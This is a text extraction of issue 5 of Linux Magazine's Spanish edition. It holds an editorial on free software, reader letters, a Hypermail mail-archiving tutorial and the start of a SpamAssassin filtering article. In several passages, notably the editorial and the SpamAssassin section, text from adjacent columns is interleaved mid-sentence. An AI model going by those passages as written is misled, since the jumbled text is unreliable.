Desarrollo
Etiqueta
Desktopía
LINUX MAGAZINE
QTCanvas: un lienzo Aprende a pronunciar Skippy: previsualización para tus aplicaciones “GNU” con Paul C. Brown de ventanas activas
KDict
Un diccionario digital
Edición en Castellano
NÚMERO 05
NÚMERO 5 • P.V.P 4,95 €
Email Seguro
Buzones seguros y libres de SPAM
Filtrado SPAM
EMAIL SEGURO
Encriptación GnuPG
Organiza tu correo en tablas HTML con Hypermail p8 Filtrado de mensajes con SpamAssasin p11 Encriptación de correo con GnuPG p14
Seguridad Wireless II
Seguridad Wireless II Utilizamos un Zaurus para hackear una red protegida con encriptación WEP p75
GIMP con Python
Gimp Programación de guiones en Python p44
Bluetooth QTCanvas
Bluetooth
p49
QEMU
Controla tu sistema Linux desde tu móvil
WWW.LINUX- MAGAZINE.ES
#1
¡Hazte con tus ejemplares atrasados! ¡No esperes a que se agoten!
#2 • Número 1: Especial Redes - Servidores de correo TLS MediaWiki - Konversation - DVD Fedora Core 3 ... • Número 2: Hardware Linux - PCs Silenciosos - Gestor de ventanas Twin - Backups con Konserve ...
#3
• Número 3: Seguridad para todos - Configuración iptables con Shorewall - Ruby Rails - Domótica ... • Número 4: Redes Wireless - Scribus - Radio USBHackeando con Zaurus - DVD Mandrake 10.1 ...
¡pídelos ya! #4 W W W. L I N U X - M A G A Z I N E . E S
EDITORIAL
VERDAD O MENTIRA Estimado Lector de Linux Magazine
H
ay mucho debate hoy en día sobre la “verdad” o “mentira” tras la viabilidad comercial del software libre. Lo que es más, hay mucho debate hoy en día si soportar o no el software libre/las licencias creative commons/ táchese lo que no proceda es despreciar el dinero, o lo que es lo mismo, ser antiamericano, o sea, ser “comunista”. Lo de igualar el “no animo de lucro” con “anticapitalista” con “antiamericano” con “comunista” es pueril y propio de la estrechez de miras de mentes simplistas. Demostrémoslo: Mandrake es un empresa francesa. Francia no participó en la guerra contra Iraq, por tanto Francia es antiamericana. Por extensión, Mandrake y sus directores y sus empleados son antiamericanos, por tanto son comunistas, lo que es ser anticapitalistas, o lo que es lo mismo, no ganan dinero con su software (que, para más inri, es libre). Sin embargo, Mandrake acaba de adquirir Conectiva por 1,7 millones de euro. Para una empresa marxista-leninista no está nada mal. Volviendo al debate de la viabilidad del software libre, si queremos saber la verdad sobre el software libre, sólo hemos de consultar el blog de Clemens Vasters, Enterprise Development & Alien Abductions, donde se nos informa que… “Todo lo que se refiere al ‘software libre’ es una mentira. Es un sueño popularizado por gente que tiene un ávido interés en disponer de software barato […]. Es explotación por parte de compañías que no están interesadas en absoluto en la creación de algo. Quieren utilizar tus creaciones de manera gratuita, por eso te engañan.” Aparte de demostrar un deplorable cinismo, que sintomático es que por un lado el bueno de Clemens sea desarrollador de productos Microsoft y que
Nos sentimos orgullosos de nuestros orígenes como pu-
por otro este blicación, que se remonta a los primero días de la tipo de diarevolución Linux. Nuestra revista hermana, la publicación tribas aparezalemana Linux Magazin, fundada en 1994, fue la primera revista dedicada a Linux en Europa. Desde aquellas temcan cuando la pranas fechas hasta hoy, nuestra red y experiencia han percepción del crecido y se han expandido a la par que la comunidad software libre Linux a lo ancho y largo del mundo. Como lector de Linux ha pasado de Magazine, te unes a una red de información dedicada a la distribución del conocimiento y experiencia técnica. No ser la de pronos limitamos a informar sobre el movimiento Linux y de ductos a medio Software Libre, sino que somos parte integral de él. cocer desarrollados por una panda de jipis melenudos, a la de aplica- surge la solución a los problemas. Pero, ciones de calidad industrial que se- chico, mientras de estos “experimentos riamente amenazan las cuotas de mer- en explotación” surjan productos como cado de las alternativas propietarias. Y los citados, pues bienvenidos sean. ahí es donde pica. Además, licencias como la GPL atan a Y es que unos pocos jugadores en el los proveedores de estos productos y les mercado conciben el software como mer- obligan a no hacerle ninguna pirula a la cancía, un bien con el que hay que comunidad (tipo “ahora te lo doy, ahora traficar. Mientras que el resto vemos el te lo quito”) lo que limita el grado de la software como herramienta, un medio a explotación del que habla el amigo un fin. Sólo nos hacemos con un proce- Clemens. sador de textos por que tenemos que En cuanto a la explotación laboral, perescribir cartas (o editoriales) o sólo nos sonalmente conozco a bastante gente hacemos con un servidor web por que involucrada en el mundo del Software tenemos que montar un servicio web Libre y no todos son estrellas del para nuestra empresa. mundillo con salarios con 4 ceros, pero En cuanto a la explotación por parte de tampoco lo son la mayoría de los grandes empresas, todos sabemos que desarrolladores que trabajan en el campo muchos de las grandes historias de éxito del software propietario. Y si de verdad del mundo del software libre partieron de quieres ver explotación y mentiras, si de productos donados/patrocinados por verdad quieres ver universitarios con tagrandes corporaciones: OpenOffice de lento trabajando por cuatro duros, sin Sun, Firefox de Netscape y Eclipse de que nadie aprecie su trabajo, con conIBM, por citar unos pocos. tratos basura de prácticas que no auguVale que las obras sociales de las ran para nada un porvenir, echad un visempresas sirven para desgravar tazo a las grandes empresas de software impuestos, pero es que las donaciones propietario del país. por parte de particulares también, aparte Lo de Clemens es producto de, en el de asegurar la salvación eterna o mejor de los casos, un agudo caso de llenarnos de buen karma. Pero, ceguera, de ver la paja en el ojo ajeno volviendo al tema de las donación de sin percibir la viga en el propio, y en el código, el interés de las empresas de peor, una hipocresía y demagogia colocar código que ha costado tiempo y manipulante que sólo pretende sembrar dinero en desarrollar en manos de la el FUD entre gente con más dedicación y comunidad del software libre es obvia- vocación que él. mente la de utilizar la comunidad (a) como entorno de desarrollo barato y (b) como campo de pruebas donde, no sólo se prueba la viabilidad tecnológica de un programa, sino que, en muchos casos,
WWW.LINUX- MAGAZINE.ES
Número 05
3
CONTENIDOS • Linux Magazine nº 5
PORTADA Especial Correo Seguro
7
DESARROLLO 19 Programación Videojuegos (V
y final)
El tema de portada de este mes nos revela como mantener nuestro correo en orden, seguro y libre de spam.
En la parte final de nuestra serie, Steven Goodwin repasa la programación del audio del juego y agrega unos toques finales.
Hypermail
8
35 Python y Gnuplot Desarrollamos un script que nos permite crear gráficas y esquemas de manera automática con Gnuplot y Python.
Hypermail convierte los mensajes de email a HTML y permite agrupar los mensajes en archivos ordenados. 11
Spam Hunter Vemos cómo SpamAssassin colabora con Evolution y KMail. Thunderbird, por otro lado, tiene su propio sistema de detección de spam.
14 Encriptación de Email Describimos como añadir encriptación y firmas digitales a los clientes de correo Thunderbird, Kmail y Evolution
LINUX MAGAZINE 3 6 94 95 97 97 98
4
Editorial Correo Humor Subscripciones Información de Contacto Eventos Próximo Número
Número 05
24 QTCanvas Una de las partes más fascinantes y poderosas del paquete de herramientas Qt es la clase QCanvas.
31
PRÁCTICO 39 Scribus Seguimos viendo con Jason Walsh como maquetar un periódico con Scribus. Además nos enseñará como manejar los ficheros gráficos CMYK.
Perl: Shell Perl ofrece los mejores guiones para la shell. Un nuevo modulo en CPAN, Sysadm::Install ayudará a los adictos a la shell a desengancharse de Bash
44 Scripts GIMP The GIMP posee una serie de capacidades que nos permiten automatizar tareas repetitivas. El lenguaje de programación Python es una útil alternativa al dialecto Lisp, integrado en GIMP
WWW.LINUX- MAGAZINE.ES
Linux Magazine nº 5 • CONTENIDO
PRÁCTICO 47 Knoda Workshop Este artículo nos introducirá a Knoda y nos mostrará como podemos usarlo para simplificar tareas de gestión de bases de datos comunes. 49 Móviles Bluetooth Exploramos los posibles métodos para acceder a nuestro teléfono móvil Bluetooth usando Linux.
64 Instalación a Medida Hay a quienes les gusta hacer las cosas a su modo y que están buscando como conseguir una instalación más idónea. En este artículo mostraremos como conseguirlo. 68 Web Airbag Permitir que los usuarios instalen scripts PHP de forma arbitraria puede poner en peligro la seguridad de un servidor web, pero los administradores tienen una línea final de protección.
55 Emulación QEMU es una aplicación de código abierto que nos permite emular un entorno de hardware completo dentro de nuestro sistema Linux
59 La Columna de Charly
81
Linux User
82 KTools: Kdict Si buscamos definiciones, explicaciones y vocabulario, Kdict, el diccionario de KDE, es la herramienta que necesitamos
84 KWiFiManager El gestor de KDE KwiFiManager es una útil herramienta para monitorizar y gestionar conexiones inalámbricas. 75 Seguridad Wireless (II) Usamos nuestro sustituto del Tricorder (Star TrekTM) como excusa para descubrir los entresijos de la encriptación WEP.
ADMINISTRACIÓN
LINUX USER
87 Educación Vemos como convertir nuestro teclado QWERTY normal y corriente en un medio para representar caracteres griegos, rusos y hasta chinos.
79 Demonios Con la ayuda de inetd y xinetd se pueden gestionar servicios de manera centralizada.
60 Radius y 802.1X Normalmente, el protocolo Radius se utiliza para autenticar usuarios en escenarios dial-up. Pero Radius también es útil en entornos LAN... 91
Línea de Comandos: sort sort le ayuda a organizar los listados de ficheros y la salida de los programas. Y si quiere, puede usar esta pequeña, pero potente herramienta para mezclar y clasificar múltiples ficheros.
WWW.LINUX- MAGAZINE.ES
Número 05
5
LINUX USER CORREO
Schlagwort sollte hier stehen
Correo del Lector
ACCESO DE ESCRITURA Querido Paul, No nos conocemos, pero no seré ni el primero, ni el último en sentirse identificado con tu “eXPeriencia”, y demostrarte mi solidaridad y comprensión. Hace tiempo que pronostiqué, que los abogados eran una plaga de la cual me debía de mantener tan lejos como de los tribunales. Huir de abogados tales como los que ofrecen un, generoso para ellos, 10% de comisión de un total de 900 euros, si les proveías de “víctimas” para aplicarles sus servicios sobre la Ley de Protección de Datos, y todo ello solo por registrar unos ficheros. También te puedo citar, lo vivo día a día, lo de un abogado extranjero que trabaja en un organismo público que cobra 500 euros, tan solo por presentar los papeles de la tan ansiada regularización, haciendo uso más que interesado y fraudulento de información privilegiada, abusando de inmigrantes compatriotas con el fin de lucrarse. O también te puedo citar el caso más sangrante, de los abogados que se encuentran en la puerta de los Juzgados, se preguntan por la mujer, los hijos, quedan para tomarse algo más tarde, y una vez dentro, se despellejan vivos, “representando” los intereses de sus clientes. Sí, se ha de ser, de una pasta especial para ser abogado, mezcla de muchas cosas.
6
Número 05
En mi caso, y relacionado con tus 69,72 euros, simplemente tuve suerte, me dí de alta en una ADSL, de cuyo nombre Ya no me quiero acordar y, pese a tener ruido en la linea, estar a más de 1,5 km de la centralita, tener un modem wireless 3com, y haber perdido tiempo y dinero con los ineptos del 902, de momento, navego. Un saludo, y sigue, así, trabajando por la libertad, …al menos de elección. Gracias. César.
LM Han sido varios los lectores que nos han escrito expresando su solidaridad con nuestro director. En realidad lo de nuestro director no es para tanto, sólo que es muy exagerado. De hecho, lo suyo sólo es una gota en el océano de los sangrantes desbarajustes e incompetencias cometidas por las empresas de telefonía de nuestro país y que seriamente lastran el progreso hacia la tan cacareada “sociedad de la información”. Los abogados son un caso perdido, pero el de la telefonía es un gremio que debería seriamente plantearse, como se dice en inglés “clean up their act”, es decir, limpiar su reputación. Claro que para ello no bastará con espectaculares actos de relaciones públicas que, a la postre, se muestran vacuas e inútiles para sus vícti… digooo, clientes, sino con acciones reales orientadas a mejorar el servicio. En el mundo real cuando, uno se equivoca tiene tres opciones: (a) callarse y esperar que no se note, (b) echarle la culpa a otro o (c) admitir el error e intentar arreglarlo. Las empresas de telefonía implementan una cuarta: esconderse tras los call-centers. A este respecto, una de las medidas que recomendaríamos es permitir el usuario el acceso al servicio técnico y otros departamentos (facturación, administración, etc.) VERDADEROS de las compañías, y no utilizar un call-center como barrera infranqueable, sino como mero filtro. Y es que si descubres que se te bloquean las centralitas de la
WWW.LINUX- MAGAZINE.ES
empresa, entonces, chaval, tienes un problema… Y no uno que se resuelva con un call-center. Probablemente se trate de un producto o servicio deficiente y la lógica teórica de una sociedad competitiva dicta que una empresa que insiste en traficar con productos de mala calidad y que insiste en engañar a su clientela, tarde o temprano, acabará quebrando. Pero, claro, en el mundo competitivo real, como el nuestro también tenemos a Microsoft.
Sugerencia Hola, soy subscriptor de vuestra revista, desde el Nº 1, y me gusta, en especial la sección LINUX-USER, por este motivo quería hacer una sugerencia… He estado buscando por Internet, manuales, “Comos”, Howtos, etc… para grabar DVDs y me interesa en especial el asunto de la autoría es decir el DVD-Autor, y he encontrado muchas cosas sueltas, pero nada realmente bueno, únicamente un articulo en inglés de una revista “amiga”. Sin embargo, leerlo en Inglés se me hace muy pesado. Por esto os animo a que publiquéis un buen articulo sobre este tema, creo que seriáis la primera revista en castellano que lo hiciese. Saludos Antonio
LM ¡Pero que casualidad! Pues, mira, estimado Antonio, te alegrará saber que para el número 6 de Linux Magazine tenemos previsto un especial multimedia, con especial hincapié en el tema de la autoría de DVDs y el procesado y producción de vídeo. Véase la sección de “Próximo Número” en la página 98 de este mismo número. Esperamos que lo encuentres intere■ sante.
Puedes enviaar tus comentarios y sugerencias a: correo@linux-magazine.es
www.almogon.de
Solidaridad
Correo Seguro • PORTADA
Herramientas de Correo para un Planeta Hostil
MANEJO DE CORREO No mire ahora, pero su buzón está lleno de basura y en un servidor lejano, un fisgón está pendiente, leyendo sus opiniones sobre su jefe. ¿Recuerda cuando usar el email solía ser fácil? Necesitará los instrumentos adecuados, para que su correo vuelva a ser lo que era. BY JOE CASAD
E
n los pocos años desde que el email nos llegó desde la cultura hacker, ha llegado a ser casi imposible imaginar la vida sin él. Desde las instituciones académicas, hasta las empresas y gobiernos, todos trabajan con email. Y la simplicidad de enviar un mensaje de correo electrónico ha llevado a la proliferación del correo. Hace treinta años, se podía recibir cinco circulares mecanografiados al día. Hoy en día se pueden enviar 50 en un email ¡esto es 250 en una semana de trabajo! Y esto es sólo los mensajes de gente que conoces. Si añadimos todo el spam que se recibe desde direcciones ocultas en cualquier parte del mundo, verá por qué muchos usuarios de correo electrónico se preguntan cómo una tecnología tan prometedora puede conducir a tal tedio. Las principales preguntas que los usuarios de correo se hacen a diario son: • ¿Cómo filtramos el email que queremos? • ¿Cómo organizamos el correo que queremos? • ¿Como aseguramos nuestros mensajes de correo? Estas cuestiones forman el telón para el tema de portada de correo electrónico de este mes. Vamos a proporcionarle con detalle información práctica sobre el manejo del correo. Aprenderá cómo
EN PORTADA Encriptación de Email
. . . . . . . . . . .8
Firme sus mensajes y encripte su correo con GNU Privacy Guard.
SpamAssassin
. . . . . . . . . . . . . . . . . .11
Configure su cliente de correo para filtrar los mensajes no solicitados.
Hypermail . . . . . . . . . . . . . . . . . . . . . . . .14
crear un entorno para el correo libre de spam y seguro en Linux sin gastar una buena parte de su presupuesto TI. En nuestro primer artículo, mostramos cómo manejar la aplicación Hypermail, la cual convierte una carpeta de mensajes de email completa en una colección indexada de documentos HTML. Cada documento contiene enlaces a mensajes anteriores y respuestas a otros. Hypermail también genera índices que ordenan los correos por asunto, autor, fecha e hilo. En nuestro artículo sobre Spam Assasin, le mostramos cómo configurar el popular filtro de Código Abierto de spam: SpamAssasin. Aprenderemos a descargar e instalar SpamAssasin. El artículo proporciona procedimientos detallados describiendo cómo establecer los filtros de spam utilizando los clientes de correo Kmail, Evolution y Thunderbird. También veremos cómo Thunderbird utiliza filtros de spam que no requieren una aplicación de spam aparte. Thunderbird nos permite colocar los mensajes basura en carpetas especiales y luego analiza estos mensajes para buscar pistas o modelos que las aplicaciones utilizarán para filtrar futuros mensajes. Usando esta característica, se puede entrenar a Thunderbird para identificar el spam. En nuestro tercer artículo, sobre Encriptación, mostraremos el programa de código abierto GNU Privacy Guard (GnuPG). Una herramienta importante para el encriptado de mensajes de correo. Una vez más estudiamos el tema
desde el punto de vista de tres clientes de correo muy comunes, Kmail, Evolution y Thunderbird. Aprenderemos a configurar cada cliente para interactuar con GnuPG y encontrará las ventajas y características especiales del sistema de encriptación de cada cliente de correo. GnuPG no sólo se utiliza para la encriptación de mensajes. También se usa como una herramienta para firmar mensajes y verificar la identidad del remitente. Aprenderemos como los clientes manejan las firmas y obtendremos algunos consejos sobre la distribución y las firmas de claves de cifradas. Esperamos que estas técnicas le ayuden en su búsqueda para mantener sus buzones seguros y libres de spam. ■
Hypermail convierte sus carpetas de correo en una colección de documentos HTML indexados.
WWW.LINUX- MAGAZINE.ES
Número 05
7
PORTADA • Hypermail
Almacenamiento de mensajes de email con Hypermail
LA CASA EN ORDEN Hypermail convierte los mensajes de email a HTML y permite agrupar los mensajes en archivos ordenados. POR ANDREA MÜLLER
C
asi todo el mundo conserva las postales y las cartas de sus seres queridos. Y probablemente guarde al menos un archivo en casa con la correspondencia de los bancos, de la administración y de las compañías de seguros. Si sus documentos importantes están archivados de una forma accesible y organizada, lo más seguro es que encuentre el documento que necesita cuando lo busque. ¿Por qué no aplicar el mismo principio a los mensajes de email, usando Hypermail http://www.hypermail.org? Hypermail convierte los mensajes de email a documentos HTML (Figura 1). Cada documento contiene enlaces a cualquier mensaje anterior o posterior del hilo de conversación. El programa almacena los ficheros adjuntos en una subcarpeta y coloca enlaces a estos ficheros adjuntos en el fichero HTML. Para permitirle encontrar el mensaje que anda buscando, Hypermail también genera varias páginas índices, donde los mensajes se ordenan por asunto, autor (Figura 2), fecha o hilo. Adicionalmente, Hypermail genera un fichero attachment.html con la lista de los ficheros adjuntos.
archivos fuentes están disponibles en la página del proyecto. Es improbable que Hypermail le juegue una mala pasada. Suponiendo que los paquetes gcc, make y glibc-devel estén disponibles en el sistema, simplemente tecleando ./configure, make y su -c "make install" se compilará e instalará el programa. La llamada a make install copia el programa y los ficheros que lo acompañan a un directorio en /usr/local.
Cuestión de Formatos Hypermail sólo acepta el formato mbox como entrada (véase el cuadro titulado “Formato mbox”). Algunos programas de correo - Evolution y Mozilla, por ejemplo - usan el formato de fichero mbox por defecto para almacenar los mensajes de email. Si usa una de estas aplicaciones, lo único que tiene que hacer es crear una carpeta separada para los archivos que desee almacenar. El fichero mbox tendrá el mismo nombre que la carpeta en el cliente de correo. Los usuarios de Mozilla tendrán que mirar en el árbol de directorios que cuelgan de la carpeta de su perfil
¿Paquete o Casero?
www.photocase.de
Algunas distribuciones - como Suse Linux Professional, Mandrake Power Pack o Debian incluyen Hypermail por defecto. Si Hypermail está incluido con la distribución, simplemente puede ejecutar el gestor de paquetes de la distribución para instalarlo. Si la distribución no lo incluye o si se prefiere usar la última versión del archivador de correo, se tendrá que compilar desde los ficheros fuentes. Los
8
Número 05
Figura 1: Los mensajes archivados por Hypermail incluyen el cuerpo del mensaje, una selección de las cabeceras y enlaces a los mensajes anteriores y posteriores del hilo de la discusión.
WWW.LINUX-MAGAZINE.ES
Hypermail • PORTADA
~/mozilla/default/xxxxxxx/Mail, donde xxxxxxx es una cadena arbitraria que Mozilla usa para identificar el perfil. Se debería encontrar un directorio con el mismo nombre que la cuenta de correo. Aquí es donde Mozilla almacena los ficheros mbox con los nombres sin extensión. Evolution almacena el correo en la carpeta llamada ~/.evolution. Si se usa un cliente de correo que no utilice el formato mbox, podría ser que tuviera una función para crear una carpeta mbox o que permitiese exportar los mensajes al formato mbox. KMail pregunta que tipo de formato debe usar cuando crea una carpeta nueva (Figura 3)
Figura 2: Hypermail genera un índice que mensajes alfabéticamente por autor.
y almacena la carpeta en el directorio ~/Mail. Los usuarios de Sylpheed pueden usar la función Export to Mbox file en el menú File.
Empecemos Después de instalar Hypermail, se introduce el siguiente comando hypermail -m mailbox -d U outputdirectory
para crear el primer archivo de correo. El parámetro -m se usa para especificar la ruta al fichero mbox. -d es el directorio donde Hypermail creará el archivo. No es necesario crear el directorio antes de ejecutar el comando; Hypermail se hará cargo de ello automáticamente. Cuando el programa haya terminado, habrá en el directorio especificado los ficheros en formato HTML de los mensajes junto con un fichero índice. El fichero index.html contiene una lista por defecto; se puede pulsar uno de estos enlaces para ir al mensaje. Si se desea, se puede ir a uno de los
otros índices (autor, fecha, remitente o adjuntos). Hypermail soporta varios idiomas además del inglés. Si se prefiere usar otro idioma distinto al inglés para las páginas HTML, se añade -L, seguido del parámetro del idioma, si teclea: hypermail -L es -m mailbox -d U folder
se selecciona el español. Además del español, Hypermail proporciona otros idiomas como el italiano (it), el ruso (ru) y el alemán (de), por ejemplo. El parámetro -h muestra una lista de los idiomas disponibles. La cabecera de la página de índice incluye el nombre del archivo - Hypermail lo establece al nombre del fichero mbox. Para asignar otro nombre se usa el parámetro -l seguido del nombre en la línea de comandos. No es necesario ejecutar Hypermail varias veces para combinar varias carpetas de menordena los sajes en un único fichero HTML; tan sólo hay que indicarle con el parámetro -m los ficheros que mbox quiera que combine. Hypermail permite que se puedan añadir mensajes a un archivo posteriormente. El parámetro -u le indica a Hypermail que actualice el fichero.
Formato mbox mbox es un término genérico para una familia de formatos de buzones de correo usados en sistemas Unix para almacenar los mensajes de correo. El nombre refleja el método que mbox adopta para almacenar múltiples mensajes en un simple fichero. Los distintos formatos mbox fueron descritos por Daniel J. Bernstein, Rahul Dhesi y otros en 1996 e incluyen mboxo, mboxrd, mboxcl y mboxc12. Dentro de un fichero mbox, los mensajes entrantes son añadidos al fichero usando la cadena “From“para identificar el comienzo y una línea en blanco para identificar el final de cada mensaje. Como el formato mbox nunca ha sido especificado en un RFC, se deja a los programadores de programas de correo algún margen para diseñar formatos incompatibles. En el Listado 1 se muestra un ejemplo de fichero mbox.
opciones por defecto, ya que provocarían un mensaje de error: Message-ID is missing, ignoring message with subject “subject” (No se encuentra el message-ID, ignorando el mensaje con el asunto “asunto”). La opción -o require-msgids=0 le dice a Hypermail que procese los mensajes de esta clase. -o es la abreviatura de options, y créame, el programa tiene unas cuantas de ellas. Se puede teclear man hmrc para una lista. Si se está archivando ficheros de mensajes con un gran número de hypermail -u -mU Figura 3: KMail permite especientradas, probablenewbox -d folder ficar el formato cuando se crea mente desee echarle un una carpeta. vistazo a las opciones añade los mensajes en monthly-index=1 y folder_by_date. La newbox a un archivo en la carpeta folder. primera le dice a Hypermail que añada un Hypermail actualizará los ficheros índices resumen al fichero index.html, que para reflejar los cambios. apunte a índices mensuales. Esto es una Ficheros a Medida buena idea para mejorar el rendimiento, ya que un archivo con unos pocos de Supongamos que se quieren añadir menmiles de mensajes puede fácilmente sajes que hemos creados nosotros misalcanzar el tamaño de unos 10MBytes o mos y que actualmente se encuentran en más. En contraste con esto, el navegador Outbox, para el archivo y el programa de cargará un fichero índice mensual. Esta correo no ha generado los message IDs. opción, sin embargo, no significa que los En esta situación no se pueden usar las
WWW.LINUX-MAGAZINE.ES
Número 05
9
PORTADA • Hypermail
Listado 1: Un fichero mbox 01 From user@example.com Sat Jun 14:45:2003 02 Received: from localhost (localhost.localdomain [127.0.0.1]) by anmen.not-for-mail 03 (8.11.6/8.11.6) with ESMTP id h5ECjBA29295 for ; Sat, Jun 2014:45:11 +0200 04 Message-ID: <3EEB0E35.C0077C5@example.com> 05 Date: Sat, Jun 2003 13:59:+0200 06 From: User Domain 07 To: a414@sedacon.com (Marc Andre Selig) 08 Subject: Test mail 09 10 Hello! 11 12 From a414@sedacon.com Sat Jun 14:48:2003 13 Date: Sat, Jun 2003 14:48:+0200 14 From: a414@sedacon.com 15 To: a414@sedacon.com (Marc Andre Selig) 16 Subject: Another test 17 18 Yet another test. Si dentro del cuerpo de un mensaje aparece una línea en blanco seguido de una línea que empiece por “From” y luego un espacio en blanco, la cadena “From“se reemplaza por “>From“para que no se confunda con el comienzo de otro mensaje. El almacenar juntos en un único fichero los mensajes hace eficiente el uso de inodes del sistema de ficheros. Por otro lado, los ficheros mbox son lentos de manipular conforme su tamaño va creciendo. Otra desventaja del formato mbox es que requieren bloqueo, para que varios programas no puedan acceder en paralelo a ellos.
ficheros HTML se almacenen en carpetas diferentes. Para distribuir los ficheros en múltiples carpetas mensuales, se necesita pasarle a Hypermail la opción folder_by_date. Combinando esta característica con el índice mensual: hypermail -m mbox -d U folder -o U monthly-index=1 -o U folder_by_date=%y%m
10
Número 05
%y%m se denomina cadena de formato, donde %y hace referencia al año y %m al mes de cuando se creó el mensaje. Este comando le indica a Hypermail que cree subcarpetas con nombres como 0312 en el directorio de salida. Los mensajes de diciembre de 2003 se almacenarán en esta subcarpeta, si se prefiere tener el mes primero, simplemente hay que intercambiar el orden en la cadena de formato: folder_by_da te"%m%y. Si se planea publicar los archivos en un servidor web, por ejemplo, la opción -o spamprotect=1 es una buena idea. Esta opción le dice a Hypermail que modifique las direcciones de correo. En vez de nombre@dominio, el programa escribe nombre_at_dominio. Esto dificulta a los spammers la tarea de recolectar direcciones. Se puede usar la opción -o antispam_at=otrocaracter para indicarle a Hypermail qué escribir en lugar del carácter @. El programa tiene unas cuantas opciones útiles más, como una opción para las citas. Si se quiere resaltar algo, en vez de usar los caracteres <>, se puede especificar -o iquotes=1 para indicar que use itálicas para las citas. La opción -o linkquotes=1 es también útil. Esta opción le dice a Hypermail que genere un enlace desde la primera cita que lleve al usuario al mensaje original.
Menos Tecleos Las opciones son buenas, pero tienen una pega: nadie puede acordarse de todas ellas. Esto implica normalmente el tener que consultar las páginas del manual cada vez que se ejecute la herramienta. Una vez que se haya encontrado el conjunto de opciones que se ajuste a los requerimientos, hay una manera inteligente de evitar tener que introducirlas cada vez que se ejecute Hypermail. Cuando se lanza Hypermail, carga el fichero .hmrc del directorio home del usuario. Esto quiere decir que se le puede especificar el número de líneas de cabecera que se desean ver. Se puede incluso definir carpetas mensuales y las rutas a los ficheros mbox. Las opciones se escriben tal y como aparecen en la línea de comandos. Veamos un ejemplo con la opción -o de la línea de comandos. La siguiente entrada require_msgids=0
WWW.LINUX-MAGAZINE.ES
le dice a Hypermail que archive los mensajes sin identificador. Las opciones de la línea de comandos tienen prioridad sobre las que se encuentran en el fichero .hmrc. Se puede especificar un fichero mbox por defecto y luego cambiarlo usando la opción -m, seguida del nombre del fichero. El Listado 2 es un ejemplo. Si se clasifica regularmente, se podría desear un programa de correo más rápido y menos desordenado. Y navegar por los mensajes antiguos cada vez que se desee. Los índices de Hypermail parecen estar bien, incluso si se usa un navegador basado en consola. Si los archivos ocupan mucho espacio en el disco, simplemente se pueden volcar a un CD. ■
Listing 2: Opciones ~/.hmrc 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19
#página en español language=es #formato de fecha europeo eurodate=1 #buzón estándar mbox=/home/andi/archiv #enlaces a citas linkquotes=1 #crear carpetas mensuales folder_by_date=%y%m #mostrar cabeceras showheaders=1 #líneas de cabeceras que se muestran should display show_headers=From,To,Subject, Date,Message-ID,User-Agent,X-M ailer,X-Newsreader
20 21 22 23 24 25 #mostrar citas en cursiva 26 iquotes=1 27 28 # n o ar c h i v a e m e n s a j e s c o n cabecera X-Hypermail-Deleted 29 X-Hypermail-Deleted in header 30 deleted=X-Hypermail-Deleted 31 32 #sin enlace mailto 33 mailto=none 34 35 #crear índice mensual 36 monthly_index=1
Spam Hunter • PORTADA
Filtro de Spam Casero
SPAM HUNTER Incluso si no tiene un servidor de correo propio, SpamAssassin puede ayudarle a filtrar el correo no solicitado. Este artículo describe cómo SpamAssassin colabora con Evolution y KMail. Thunderbird, por otro lado, tiene su propio sistema de detección de spam. BY OLIVER FROMMEL
L
os spammers inventan cada día que aparezcan en mensajes de correo para mejorar su tasa de aciertos: Spammás trucos para confundir al normales. Assassin consulta servidores que regissoftware de detección de spam. Esto reduce el número de falsos positran el spam conocido. Por ejemplo, modifican el texto y la tivos, o sea, el número de mensajes legíEsto es parecido al método utilizado línea de asunto para dejar sólo un mínitimos clasificados como spam. por una lista negra, como la lista mo de información legible. También Spamhaus [1], que lista a servidores de Caza al Spam añaden puntuación entre letras indivispam. SpamAssassin realiza cientos de duales sin una palabra para evitar tests Nuestro detective de spam también comprobaciones a cada mensaje. Si está simples para cadenas de texto: por tiene unos cuantos trucos en la manga interesado, hay una página con una ejemplo, V.a.l.i.u.m no es lista de las pruebas en la lo mismo que Valium. página web en [2]. SpamAssassin le da las Cuando SpamAssassin armas que necesita para descubre un mensaje de combatir el spam. Spamspam, lo etiqueta Assassin comprueba nomañadiéndole líneas de bres de marcas y detecta cabecera, por ejemplo Xun gran número de proSpam-Flag: YES. Ahora ductos sospechosos. Los otros filtros pueden leer la spammers que utilizan cabecera y manejar el trucos para colar nombres mensaje como lo haya de marcas en su carpeta definido el usuario. Como de entrada están, de tirar el mensaje a la hecho, metiendo la pata a papelera o moverlo a una lo grande, ya que los nomcarpeta especial de bres de marcas típicacorreo. SpamAssassin Figura 1: La ventana Filter en KMail. El botón para añadir una nueva regla de filmente usados por spamañade unas cuantas trado está abajo a la izquierda. mers son improbables líneas de cabecera con
WWW.LINUX- MAGAZINE.ES
Número 05
11
PORTADA • Spam Hunter
información adicional sobre las pruebas: X-Spam-Status: Yes, U hits=7.1 tagged_above=U -99.0 required=5.0U tests=BAYES_99,U FORGED_YAHOO_RCVD, U MORTGAGE_PITCH
Junto con la etiqueta de spam (Yes), la línea indica el número de hits el umbral de spam (required) y las pruebas que se han realizado.
Filtro Casero Si no dispone de su propio servidor de correo, obviamente no podrá utilizar SpamAssassin en el servidor de correo. Pero, puede ejecutar la herramienta en el cliente, o sea, en la máquina que baja su correo desde el servidor. Hay un inconveniente, y es que necesita descargar el correo antes de comprobarlo. Esto significa que el correo basura sigue absorbiendo recursos valiosos, pero al menos no se mostrará en el programa de correo.
Integración con KMail
a la derecha. Tras cerrar el diálogo, KMail ejecutará spamc para cada mensaje que se descargue desde su cuenta POP. El programa de la línea de comandos contacta con el servidor de SpamAssassin en ejecución en modo background y le pasa el mensaje de correo Figura 2: La segunda regla de filtrado, “Move spam”, le dice a KMail que electrónico al mueva cualquier mensaje que se designe como spam a una carpeta de servidor para el correo. testeo de spam. Conviene realizar una prueba manual quetado como spam. Para añadir la con el filtro para estar seguros de que regla, abra el primer elemento del funcione. Para hacer esto, seleccione menú y seleccione X-Spam-Flag. Si el Apply filter en el menú Message, o presiguiente campo aún dice contains, sione [ctrl-J]. necesitará añadir YES en el tercer Fedora configura SpamAssassin para campo. La acción del filtro que necesietiquetar el correo electrónico no solicitará aquí será move to folder con Trash tado con una etiqueta cd [SPAM] en la como etiqueta. Es importante deseleclínea de asunto. Por supuesto que cionar If this filter matches, stop proSpamAssassin seguirá añadiendo cessing here para la primera regla que nuevas líneas de cabecera al mensaje de hemos definido (Find Spam) para percorreo para documentar el análisis del mitir que KMail aplique el segundo filtro. Independientemete de donde obtenga el 